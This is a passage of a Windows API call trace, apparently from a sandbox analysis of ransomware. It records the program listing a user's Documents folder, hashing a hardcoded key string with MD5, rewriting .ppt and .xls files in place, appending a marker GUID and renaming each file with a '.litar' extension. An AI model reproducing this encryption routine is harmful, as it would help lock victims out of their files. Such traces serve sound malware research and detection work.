| out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\") returned="JfBL0k2cocNOiKXL4y9\\" [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.490] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.490] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.490] PathFindFileNameW (pszPath="") returned="" [0126.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ca6b90, ftCreationTime.dwHighDateTime=0x1d4d4dd, ftLastAccessTime.dwLowDateTime=0xa78f9250, ftLastAccessTime.dwHighDateTime=0x1d4c7b1, ftLastWriteTime.dwLowDateTime=0xa78f9250, ftLastWriteTime.dwHighDateTime=0x1d4c7b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.492] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ca6b90, ftCreationTime.dwHighDateTime=0x1d4d4dd, ftLastAccessTime.dwLowDateTime=0xa78f9250, ftLastAccessTime.dwHighDateTime=0x1d4c7b1, ftLastWriteTime.dwLowDateTime=0xa78f9250, ftLastWriteTime.dwHighDateTime=0x1d4c7b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.492] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47daa6c0, ftCreationTime.dwHighDateTime=0x1d4cf67, ftLastAccessTime.dwLowDateTime=0x4a578c80, ftLastAccessTime.dwHighDateTime=0x1d4cc18, ftLastWriteTime.dwLowDateTime=0x4a578c80, ftLastWriteTime.dwHighDateTime=0x1d4cc18, nFileSizeHigh=0x0, nFileSizeLow=0x13ca5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-pPGVSgI.ppt", cAlternateFileName="")) returned 1 [0126.492] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.492] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.492] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\-pPGVSgI.ppt") returned=".ppt" [0126.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\-pPGVSgI.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\-ppgvsgi.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.492] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=81061) returned 1 [0126.492] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.494] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13c7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.494] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.496] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.496] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13ca5, lpOverlapped=0x0) returned 1 [0126.497] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.497] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.497] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.497] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.498] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.498] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.498] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.498] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.498] GetLastError () returned 0x0 [0126.498] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.498] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13cb0) returned 0x30fa0b0 [0126.498] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.498] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13ca0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13ca0, lpOverlapped=0x0) returned 1 [0126.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.499] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ca5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.499] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.499] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.499] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.499] CloseHandle (hObject=0x624) returned 1 [0126.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.500] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\-pPGVSgI.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\-ppgvsgi.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\-pPGVSgI.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\-ppgvsgi.ppt.litar")) returned 1 [0126.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.501] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.502] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.502] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404751f0, ftCreationTime.dwHighDateTime=0x1d4ca4f, ftLastAccessTime.dwLowDateTime=0x614587a0, ftLastAccessTime.dwHighDateTime=0x1d4d26a, ftLastWriteTime.dwLowDateTime=0x614587a0, ftLastWriteTime.dwHighDateTime=0x1d4d26a, nFileSizeHigh=0x0, nFileSizeLow=0x119f5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dk-mCKfeMJ.xls", cAlternateFileName="DK-MCK~1.XLS")) returned 1 [0126.502] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.502] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.502] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.502] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\Dk-mCKfeMJ.xls") returned=".xls" [0126.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\Dk-mCKfeMJ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\dk-mckfemj.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.503] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=72181) returned 1 [0126.503] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.504] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x119cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.504] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.506] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.506] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x119f5, lpOverlapped=0x0) returned 1 [0126.507] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.507] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.507] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.507] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.507] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.508] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.508] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.508] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.508] GetLastError () returned 0x0 [0126.508] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.508] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11a00) returned 0x30fa0b0 [0126.508] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.508] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x119f0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x119f0, lpOverlapped=0x0) returned 1 [0126.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.509] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x119f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.509] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.509] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.509] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.509] CloseHandle (hObject=0x624) returned 1 [0126.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.510] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\Dk-mCKfeMJ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\dk-mckfemj.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\Dk-mCKfeMJ.xls.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\dk-mckfemj.xls.litar")) returned 1 [0126.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.511] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.511] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa394a640, ftCreationTime.dwHighDateTime=0x1d4c81a, ftLastAccessTime.dwLowDateTime=0x4d4de1d0, ftLastAccessTime.dwHighDateTime=0x1d4cdc8, ftLastWriteTime.dwLowDateTime=0x4d4de1d0, ftLastWriteTime.dwHighDateTime=0x1d4cdc8, nFileSizeHigh=0x0, nFileSizeLow=0x55da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f7Iu.ppt", cAlternateFileName="")) returned 1 [0126.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.512] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\f7Iu.ppt") returned=".ppt" [0126.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\f7Iu.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\f7iu.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.512] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=21978) returned 1 [0126.513] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.514] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x55b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.514] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.516] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.516] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x55da, lpOverlapped=0x0) returned 1 [0126.516] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.516] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.516] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.516] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.517] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.517] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.517] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.517] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.517] GetLastError () returned 0x0 [0126.517] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.517] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x55e0) returned 0x30fa0b0 [0126.518] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.518] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x55d5, 